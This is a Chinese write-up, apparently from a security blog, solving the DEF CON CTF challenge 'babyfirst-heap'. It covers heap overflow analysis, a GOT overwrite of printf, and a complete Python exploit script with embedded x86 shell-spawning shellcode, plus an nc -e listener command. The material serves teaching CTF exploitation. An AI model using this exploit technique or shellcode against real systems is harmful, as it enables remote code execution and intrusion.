babyfirst-heap这是今年defcon上的一道100分的pwn题目,是一个linux 32位的elf程序,程序见附件 .
一、静态分析
程序首先分配了14块堆内存,其中第11次申请的空间固定为260字节。
接着程序获取输入,并将输入数据放入到第11次申请的空间中去。(此处输入数据如果大于260字节,就会找出堆溢出)
之后程序对申请的空间进行释放。
由以上分析,大致可以估计 需要输入大于260字节的数据,使得堆释放时,能获得一次任意地址写任意数据的机会,将覆盖函数指针为shellcode地址。
二、动态分析
首先构造一个字节大于260字节的全a数据,见附件payload1。
首先在shell中运行 下列命令使程序崩溃时,能够产生转储文件。
1
|
ulimit –c unlimited
|
运行程序,命令:
1
|
cat payload1 | ./babyfirst-heap
|
程序崩溃,核心转储,在当前目录中产生了core文件,分析转储文件,命令
1
|
gdb ./babyfirst-heap core
|
查看崩溃出的指令:
1
2
|
mov %edx,0×8(%eax)
<a href=“https://static-js.b0.upaiyun.com/wp-content/uploads/2014/06/5.png”><img class=“size-medium wp-image-9203 aligncenter” src=“https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2014/06/030407vhH.png” alt=“5″ width=“300″ height=“64″ /></a>
|
查看eax和edx的值
可见,eax和edx的值完全由用户输入控制。
三、定位位置
构造一组特殊的数据payload2。(特殊数据可由msf生成,附件中的pattern.txt是现成的)
重新运行程序,程序崩溃后分析core文件,发现程序崩在同一个eip处,此时查看eax和edx的值。
发现eax正是输入数据的前4个字节,ebx是输入数据的第5到8个字节。
程序将edx值赋给eax+0×8处的内存。
构造edx=0×61616161,eax=0x0804bffc, 这样0×61616161就会覆盖掉printf函数在got中的值(因为程序中free后首先执行的是printf,所以优先覆盖printf)
构造数据如下:(见附件payload3)
运行再次崩溃,分析崩溃状态:
此时printf的值已经被替换为0×61616161了。
此处,程序将edx的值赋给eax+4处的内存。如果eax填写的是shellcode的地址,那么eax+4的内容会被edx改写,所以shellcode的第5-8字节会被程序改写,必须跳过这几个字节。
四、写exp并测试
构造payload如下:
1
|
0x804bffc + addr + “/xeb/x06″ + “/x90″*6 + shellcode + “A”*len + “/x0a”
|
0x804bffc 是printf函数地址-8
addr 存放shellcode地址,即跟在后面的 /xeb/x06处的地址,这个地址可以根据第11次malloc的返回值+8计算得来
/xeb/x06 jmp 06 用于跳过会被改写的那4个字节
Shellcode 可以用msf生成,生成的shellcode见附件cmd.bin,具体的生成命令如下:
完整的exp如下:(见附件exp.py)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
import socket
import random,re,struct
from time import sleep
# tasteless – Razor4x
#The flag is: Good job on that doubly linked list. Why don’t you try something harder!!OMG!!
s = socket.socket()
s.connect((“127.0.0.1″,8888))
base=”
while True:
d=s.recv(4096)
print d
if ‘size=260′ in d:
base=re.search(‘loc=(.+?)/]’,d)
if ‘Write’ in d:
break
#base=struct.pack(“<I”,int(base.group(1),16))
base=int(base.group(1),16)
addr2=base+0×8
print hex(addr2)
addr2=struct.pack(“<I”,addr2)
#addr2=”/xAC/xc8/x04/x08″ #exit
#printf() got overwrite
# “/xfc/xbf/x04/x08″ => printf address
# addr2 => offset caluclated address of my payload
payload=“/xfc/xbf/x04/x08″ + addr2+ “/x31/xc0/x31/xdb/x31/xc9/xb3/x04/xb1/x03/xb0/x3f/xfe/xc9/xcd/x80/x31/xc0/xb0/x3f/xfe/xc9/xcd/x80/x31/xc0/xb0/x3f/xfe/xc9/xcd/x80″+ “/x31/xc0/x31/xdb/xb0/x17/xcd/x80/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh”+“C”*167 +“/n”
s.send(payload)
i=0
flag = False
while True:
d=s.recv(4096)
print d
if flag:
break
if “058″ in d:
s.send(“cat /home/babyfirst-heap/flag/n”)
flag = True
|
exp测试:
环境
ubuntu 12.04 32位系统,创建个文件 /home/babyfirst-heap/flag文件,并随便输入一些字符,用以检测获取能否成功获取flag。
nc开端口进行监听:
1
|
nc -l -p 8888 -e ./babyfirst-heap
|
运行exp脚本:
与flag文件内容对比,可见利用成功。
五、其它经验
程序一般都会有调用这个函数,所以程序运行一段时间后就会自动退出。
在gdb中调试时,可以对该信号进行忽略,命令如下:
1
|
handle SIGALRM ignore
|
附件链接:http://pan.baidu.com/share/link?shareid=3841819839&uk=3977589149
赏金发放情况:本文获得《安全技术大系:恶意代码分析实战》一本,已于6.2日发放到作者账号。
征稿启事:91RI一直相信“你不与人分享,谁与你分享”, 分享的确是件非常有意义的事情。为了让优秀的同学有 地方分享自己的独到见解,也为了让更多同学从分享中受益,同时我们也希望给那些愿意分享的小伙伴们一点点心意作为感谢,所以我们隆重了推出“有奖征文”活 动!本次活动的详情可以围观《征稿启事》
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号